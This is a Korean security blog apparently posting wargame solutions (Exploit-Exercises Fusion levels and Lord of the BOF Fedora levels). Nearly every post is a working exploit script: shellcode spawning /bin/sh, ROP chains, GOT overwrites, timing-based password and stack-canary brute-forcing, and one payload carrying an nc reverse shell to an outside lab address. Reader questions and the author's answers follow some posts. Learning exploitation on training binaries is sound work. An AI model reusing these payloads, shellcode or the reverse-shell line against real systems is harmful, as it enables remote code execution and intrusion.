from socket import *
import time
import base64
from struct import *
 
 
base_addr = 0xb782970d - 0x170d # get from stack smashing information
libc_base = 0xb7698113 - 0xf3 - 0x19020 # get from stack smashing information
 
read = base_addr + 0xd20
system = libc_base + 0x3cb20
pppr = base_addr + 0x19ba
bss = base_addr + 0x4240 + 0x300
 
# password check
"""
lists = range(ord('0'),ord('9')+1) + range(ord('a'),ord('z')+1) + range(ord('A'),ord('Z')+1)
j=0
password = ""
while j<16:
        for i in lists:
                print password+chr(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+base64.encodestring(password+chr(i))+"\r\n\r\n")
                s.recv(1024)
                e_time = time.time()
                if (e_time - s_time) < 0.002:
                        password += chr(i)
                        break
        j=j+1
"""
password = "bdRT5ifONhSSbXUy"
 
print "Password is "+password
 
# canary check
"""
lists = range(0,0x100)
j=0
canary = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                data = s.recv(1024)
                e_time = time.time()
                if "stack smashing" not in data:
                        canary += chr(i)
                        break
        j=j+1
 
print "canary: "+hex(unpack('<L',canary)[0])
"""
canary = pack('<L',0x36c9bf00)
 
#ebx check
"""
lists = range(0,0x100)
j=0
ebx = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += "A"*12
                payload += ebx+chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                try:
                        data = s.recv(1024)
                except:
                        data = ""
                if "HTTP/1.0 200 Ok" in data:
                        ebx += chr(i)
                        break
        j=j+1
print "ebx: "+hex(unpack('<L',ebx)[0])
"""
ebx = pack('<L',0xb782c118)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20004))
raw_input('go?')
 
s.send("GET / HTTP/1.0\r\n")
 
cmd = "id\x00"
 
payload = password
payload += "A"*(2032)
payload += canary
payload += "A"*12
payload += ebx
payload += "A"*12
payload += pack('<L',read)
payload += pack('<L',pppr)
payload += pack('<L',0)
payload += pack('<L',bss)
payload += pack('<L',len(cmd))
 
payload += pack('<L',system)
payload += "AAAA"
payload += pack('<L',bss)
 
payload = base64.encodestring(payload).replace("\n","")
 
s.send("Authorization: Basic "+payload+"\r\n")
 
time.sleep(0.5)
 
s.send(cmd)
 
time.sleep(0.5)
print s.recv(1024)
 
s.close()


posted by tunz





from socket import * from struct import * import hmac from hashlib import sha1   # contents: 0x804bdf4 # 0804: 0x8048584+7 # 8f: 804bda4+1 # 30: 80482a4   rand_plt = 0x08048f30 rand_got = 0x804bd98 memcpy = 0x8048e60 gContents = 0x804bdf4 ppppr = 0x804a26c   pop_ebx = 0x8049402 # pop ebx ; pop ebp ;; pop_eax = 0x8049b4f # pop eax ; add esp 0x5c ;; add_eax_ebx = 0x80493f9 # add eax 0x804bde4 ; add [ebx+0x5d5b04c4] eax ;; leave_ret = 0x8049431 # leave;;   s = socket(AF_INET, SOCK_STREAM) s.connect(('192.168.197.130',20003))   raw_input('go?') get=s.recv(1024).rstrip() token = get[1:len(get)-1] print token   cmd = "id\x00"   payload = "" payload += pack('<L',pop_ebx) payload += pack('<L',(rand_got - 0x5d5b04c4)&0xFFFFFFFF) # ebx payload += "AAAA" # ebp   payload += pack('<L',pop_eax) payload += pack('<L',0xf7fbd6cc) payload += "A"*(0x5c)   payload += pack('<L',add_eax_ebx) # eax = 0x94b0   payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-5) payload += pack('<L',0x8048584+7) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-6) payload += pack('<L',0x8048584+8) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-7) payload += pack('<L',0x804bbb4+1) payload += "\\\\u0100\\\\u0000" payload += pack('<L',memcpy) payload += pack('<L',ppppr+1) payload += pack('<L',gContents-8) payload += pack('<L',0x80482a4) payload += "\\\\u0100\\\\u0000"   payload += pack('<L',ppppr+3) payload += pack('<L', gContents-12) # ebp   payload += pack('<L',leave_ret)   lists = range(ord('a'),ord('z')+1)+range(ord('A'),ord('Z')+1)+range(ord('0'),ord('9')+1)   breakall=0   for i in lists: for j in lists: for k in lists: for l in lists: trys = chr(i)+chr(j)+chr(k)+chr(l) print trys json = '{"contents":"mkfifo /tmp/tunz; nc 192.168.197.128 31337 0< /tmp/tunz | /bin/sh 1> /tmp/tunz;", "title":"'+trys+"A"*123+"\\\\u0030"+"A"*31+payload+'", "serverip":"192.168.197.128:31337"}' checksum = hmac.new(token,token+"\n"+json,sha1).hexdigest() print checksum if checksum[0:4] == "0000": breakall=1 break if breakall==1: break if breakall==1: break if breakall==1: break   print "Send: "+token+"\n"+json print checksum   s.send(token+"\n"+json) s.close()


posted by tunz



from socket import *
from struct import *
import time
 
def cipher(s,key):
        i=0
        after=""
        while i<len(s):
                after += chr(ord(s[i])^ ord(key[i%128]))
                i=i+1
        return after
 
read = 0x8048860
write = 0x080489c0
ppppr = 0x80499bc
bss = 0x0804b520
write_got = 0x804b3dc
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20002))
 
time.sleep(1)
 
s.recv(1024)
 
msg="\x00"*128
s.send("E"+pack('<I',len(msg))+msg)
s.recv(121)
size=unpack('<I',s.recv(4))[0]
s.recv(1)
key = ""
while len(key) < 128:
        key += s.recv(1024)
print "[+] Get xor key"
 
cmd="id\x00"
 
payload = "A"*131088
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',bss)
payload += pack('<I',len(cmd))
 
payload += pack('<I',write)
payload += pack('<I',ppppr+1)
payload += pack('<I',1)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',read)
payload += pack('<I',ppppr+1)
payload += pack('<I',0)
payload += pack('<I',write_got)
payload += pack('<I',4)
 
payload += pack('<I',write) # system
payload += "AAAA"
payload += pack('<I',bss)
 
payload = cipher(payload,key)
 
s.send("E"+pack('<I',len(payload))+payload)
s.recv(121)
total=0
while total < len(payload):
        total += len(s.recv(65000))
s.send("Q")
 
s.send(cmd)
 
get = s.recv(4)
write_addr = unpack('<I',"0"*(4-len(get))+get)[0]
system_addr = write_addr - 0xc12c0 + 0x3cb20
print "[+] System: "+hex(system_addr)
 
s.send(pack('<I',system_addr))
 
print s.recv(1024)
 
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20001))
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += pack('<I',0x8049f4f) # jmp esp
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20000))
print s.recv(1024)
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += "\x5c\xa1\xf8\xbf"
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
  • 마루 2014.01.29 07:54

    안녕하세요. 강좌 잘 보고있습니다.
    궁금한 부분이 있어서 질문 드립니다.
    쉘코드 부분에 아래 내용이 있던데요
    왜 아래처럼 문자를 바꾸는건가요?
    shellcode.replace("\x41", chr(fd))
    보시고 답변 좀 부탁 드릴게요.
    수고하세요

    • tunz 2014.01.29 14:27 신고

      쉘코드의 해당 위치에 원래 소켓의 fd가 들어가야 합니다.
      근데 이 소켓의 fd는 상황에 따라서 값이 달라질수 있기 때문에,
      그때그때 바꿔쓰기 위해서 그 자리에 0x41로 표시해놓고, 그걸 치환해서 사용하는것입니다.

  • 마루 2014.02.05 07:10

    감사합니다. 소켓에는 dup 이 있군요.
    자세한 설명 정말 감사합니다^^
    수고하세요.

처음에 putty로 ssh 접속을 못해서 좀 해맸는데,

우선 root권한으로(또는 sudo) 접속한후,

# ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

# ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

를 해줘야 putty로 접속 가능하다.

posted by tunz
0x080485e0 <main+80>:   mov    0x804985c,%eax
0x080485e5 <main+85>:   sub    $0x4,%esp
0x080485e8 <main+88>:   push   %eax
0x080485e9 <main+89>:   push   $0x400
0x080485ee <main+94>:   lea    0xfffffc00(%ebp),%eax
0x080485f4 <main+100>:  push   %eax
0x080485f5 <main+101>:  call   0x80483ec

...

(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x00236740
(gdb) x/10x 0x00236740
0x236740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236750 <_IO_2_1_stdin_+16>:   0xb7fe1000      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236760 <_IO_2_1_stdin_+32>:   0xb7fe2000      0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1010:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1020:     0x61616161      0x61616161

...

(gdb) r < exploit
...
(gdb) x/10x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x008cb740      0x00000000      0x00000000      0x00000000
0x804986c:      0x00000000      0x00000000      0x00000000      0x00000000
0x804987c:      0x00000000      0x00000000
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7f45000      0xb7f45000      0xb7f45000

...

(gdb) r < exploit
...
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7ff5000      0xb7ff5000      0xb7ff5000

...

(gdb) r < exploit
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fba000      0xb7fba000      0xb7fba000

stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.

버퍼의 주소또한,

0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)

이 특징을 이용해서, fake_ebp를 시도한다.

from struct import *
from socket import *
import time
 
leave_ret = pack('<I',0x0804858e)
fake_ebp = 0xb7ff5000+272
 
i=0
while True:
        print i
        i=i+1
        buf = ""
        buf+="a"*260
        buf+=pack('<I',fake_ebp)
        buf+=leave_ret
        buf+=pack('<I',0x31337)
        buf+=pack('<I',fake_ebp)         # fake_ebp
        buf+=pack('<I',0x832abc)         # 1 execve("/bin/sh",0)
        buf+="AAAA"                      # 2
        buf+=pack('<I',0x8bd987)         # 3 &"/bin/sh"
        buf+=pack('<I',fake_ebp+4*5)     # 4
        buf+=pack('<I',fake_ebp+4*6)     # 5
        buf+="\x00\x00\x00\x00"          # 6
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('localhost',7777))
        s.recv(1024)
        s.send(buf)
        time.sleep(0.1)
        try:
                for j in range(0,10):
                        s.send("my-pass\n")
        except:
                s.close()
                continue
        try:
                get = s.recv(1024)
                print get
                s.close()
                break
        except:
                print "except"
                s.close()
                continue
        s.close()

하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.

그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.

$ python exploit.py
...
except
159
euid = 502
let me ride

(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)

posted by tunz
  • 마루 2013.12.13 15:08

    안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
    execve 인자 부분인데요.
    buf+=pack('<I',fake_ebp+4*5) # 4
    buf+=pack('<I',fake_ebp+4*6) # 5
    이 두부분 의미를 모르겠네요.
    좀 부탁드립니다. 수고하세요

    • tunz 2013.12.13 15:45 신고

      fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.

    • 마루 2013.12.13 16:24

      아 뒤에 있는 null을 가리키는군요.
      오 정말 감사합니다 ^^

  • ksg97031 2014.03.30 12:42

    execve 의 첫번째인자는 포인터의 주소값을 받나여 ??

    • tunz 2014.03.30 20:27 신고

      문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cruel
        - Local BOF on Fedora Core 4
        - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

random library이긴 하지만, 경우의수가 별로 없다. 그냥 주소 하나를 잡고 될때까지 하면 되므로 별로 신경 안써도 된다.

공격방법은 ret sleding을 이용한다.

ret주소(“\x51\x84\x04\x08”)와 execve의 주소(“\xbc\x2a\x83\x00”)를 알아내고, ret의 갯수를 하나씩 늘려가면서 시도해본다

계속 반복하다가, ret을 열두개 넣었을때 execve의 두번째 인자부터 0이다.

$ strace ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` >& result
$ xxd result | grep cve -A 4
...
0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20  ecve("..uSe.T",
0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320  [0], [/* 0 vars
0000660: 2a2f 5d29 2020 3d20 2d31 2045 4e4f 454e  */])  = -1 ENOEN
0000670: 5420 284e 6f20 7375 6368 2066 696c 6520  T (No such file
0000680: 6f72 2064 6972 6563 746f 7279 290a 2d2d  or directory).--

그러므로, 해당 파일이름을 만들어주고, 그 파일에서 쉘을 실행시킨다.

$ cat sh.c int main() {

setreuid(geteuid(), geteuid()); system("/bin/sh"); } $ gcc sh.c -o sh $ ln -s sh `perl -e 'print "\x85\xc0\x75\x53\x65\xa1\x54"'`

그리고나서, exploit

$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQQQQQQQQQQQ¼*ƒ sh-3.00$ my-pass euid = 501 come on, come over

(random library 이므로, 한번에 성공하지 못할수도 있다. 두세번 더 시도하면 성공한다.)

posted by tunz


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark_stone
        - Remote BOF on Fedora Core 3
        - hint : GOT overwriting again
        - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main()
{
        char buffer[256];
        char saved_sfp[4];
        int length;
        char temp[1024];
 
        printf("dark_stone : how fresh meat you are!\n");
        printf("you : ");
        fflush(stdout);
        // give me a food
        fgets(temp, 1024, stdin);
 
        // for disturbance RET sleding
        length = strlen(temp);
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, temp);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        // buffer cleaning
        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);
 
        printf("%s\n", buffer);
}

다른점은 remote 라는것밖에 다른게 없다.

슈퍼데몬이라서 공격방법은 똑같고, 소켓으로 보내는점만 다르다.

이전 단계의 exploit에서 주소들만 수정해주고, 소켓으로 보내면 된다.

import os
import struct
from socket import *
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x80484f3 # pop-pop-ret
STRCPY = 0x8048438
MEMCPY = 0x8048418
MEMCPY_GOT = 0x8049850
BINSH = 0x8049878
str_c0 = 0x80484c8+8
str_07 = 0x8048178+4
str_75 = 0x80482b4
str_00 = 0x8048138
str_slash = 0x8048114
str_b = 0x8048114+3
str_i = 0x8048114+2
str_n = 0x8048114+10
str_s = 0x8048740+6
str_h = 0x80481b4+4
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(str_c0)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(str_07)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(str_75)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(str_00)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(str_b)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(str_i)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(str_n)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
payload += L_E(str_s)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(str_h)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(str_00)
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',8888))
s.send(payload+'\n')
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd+'\n')
        result = s.recv(1024)
        print result
s.close()
$ python exploit.py
dark_stone : how fresh meat you are!
you :
$ my-pass
euid = 505
let there be light


posted by tunz
  • 2013.10.12 21:34

    비밀댓글입니다

    • tunz 2013.10.13 10:23 신고

      어느 부분에서 그 에러가 나나요??
      지금 페도라를 다 지워서 확인을 못하겠네요

  • 2013.10.13 16:51

    비밀댓글입니다

    • tunz 2013.10.14 23:13 신고

      음.. 딱히 문제가 되는 부분은 없는거같은데
      strace나 gdb등으로 한번 확인해보세요


/*
        The Lord of the BOF : The Fellowship of the BOF
        - evil_wizard
        - Local BOF on Fedora Core 3
        - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main(int argc, char *argv[])
{
        char buffer[256];
        char saved_sfp[4];
        int length;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // for disturbance RET sleding
        length = strlen(argv[1]);
 
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, argv[1]);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        printf("%s\n", buffer);
}


evil_wizard.c


이번엔 드디어 pop-pop-ret이 있다.


최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.

시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.


hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...

원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,

자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.


여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.


공격순서는

1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.

2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.

3. system("/bin/sh")를 실행시킨다.


pop-pop-ret의 주소 알아내기

$ objdump -d evil_wizard | grep pop -A 1
...
 804854f:       58                      pop    %eax
 8048550:       58                      pop    %eax
 8048551:       c3                      ret
...

memcpy got의 주소와 system의 주소 알아내기

$ objdump -h evil_wizard | grep got
 19 .got          00000004  08049868  08049868  00000868  2**2
 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2
$ gdb -q evil_wizard
(gdb) b *main+319
(gdb) r 1
(gdb) x/10x 0x804986c
0x804986c <_GLOBAL_OFFSET_TABLE_>:      0x080497a0      0x007194f8      0x0070e9e0      0x00783d70
0x804987c <_GLOBAL_OFFSET_TABLE_+16>:   0x007d98f0      0x00730d50      0x0075e660      0x007854c0
0x804988c <_GLOBAL_OFFSET_TABLE_+32>:   0x007d9860      0x0804845a
(gdb) print memcpy
$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>
(gdb) x/x 0x8049888
0x8049888 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0
(gdb) print system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
(gdb) print strcpy
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
(gdb) x/i 0x8048494
0x8048494 <_init+200>:  jmp    *0x80498a0
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>:   0x00783880

memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.

또, /bin/sh를 넣기위한 공간을 구한다.

$ objdump -h evil_wizard | grep bss
 22 .bss          00000004  080498b0  080498b0  000008b0  2**2
$ gdb -q evil_wizard
(gdb) b *main
Breakpoint 1 at 0x8048554
(gdb) r 1
Starting program: /home/hell_fire/evil_wizard 1
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) x/10x 0x080498b0
0x80498b0 <completed.1>:        0x00000000      0x00000000      0x00000000     0x00000000
0x80498c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80498d0:      0x00000000      0x00000000

/bin/sh은 0x80498c0 정도에 넣도록 하겠다.

그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.

찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h

$ objdump -s evil_wizard | grep 00
...
 8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep 75
...
80486f4 0000005b 81c37511 00008d83 20ffffff  ...[..u..... ...
...
$ objdump -s evil_wizard | grep 07
...
8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep c0
...
8048524 ec08a19c 97040885 c07419b8 00000000  .........t......
...
$ objdump -s evil_wizard | grep /
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
...
$ objdump -s evil_wizard | grep h
...
 804836c 68980408 060d0000                    h.......
...

전부 알아냈으니, 이제 exploit

import os
import struct
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x804854f # pop-pop-ret
STRCPY = 0x8048494
MEMCPY = 0x8048434
MEMCPY_GOT = 0x8049888
BINSH = 0x80498C0
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(0x8048524+8) # c0
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(0x8048148+12) # 07
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(0x80486f4+6) # 75
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(0x8048148+1) # 00
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(0x8048114+3) # b
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(0x8048114+2) # i
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(0x8048114+10) # n
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
#payload += L_E(0x8048114+14) # s
payload += L_E(0x8048780+5) # s
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(0x804836c) # h
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(0x8048148+1) # 00
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
os.system('./evil_wizard '+payload)
$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜
sh-3.00$ my-pass
euid = 504
get down like that

posted by tunz
  • levs 2013.09.28 01:24

    친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
    그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
    그냥 통채로 주소 복사해버리면 안되나요?

    • tunz 2013.09.30 22:45 신고

      주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다

  • levs 2013.09.30 00:45

    커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요

    • tunz 2013.09.30 22:53 신고

      커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
      해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.

  • aex 2013.10.19 21:36

    왜 bss영역에다 복사해주나요?

    • tunz 2013.10.20 03:50 신고

      address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.

  • 마루 2013.12.05 17:25

    궁금한 부분이 있는데요
    마지막 공격시에
    MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요

    • tunz 2013.12.05 22:52 신고

      원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
      고정주소인 plt 주소를 사용해야합니다

    • 마루 2013.12.13 10:35

      아 넵 감사합니다^^

  • 0000 2014.10.06 19:14

    혹시 이게 rop 인가요?
    궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.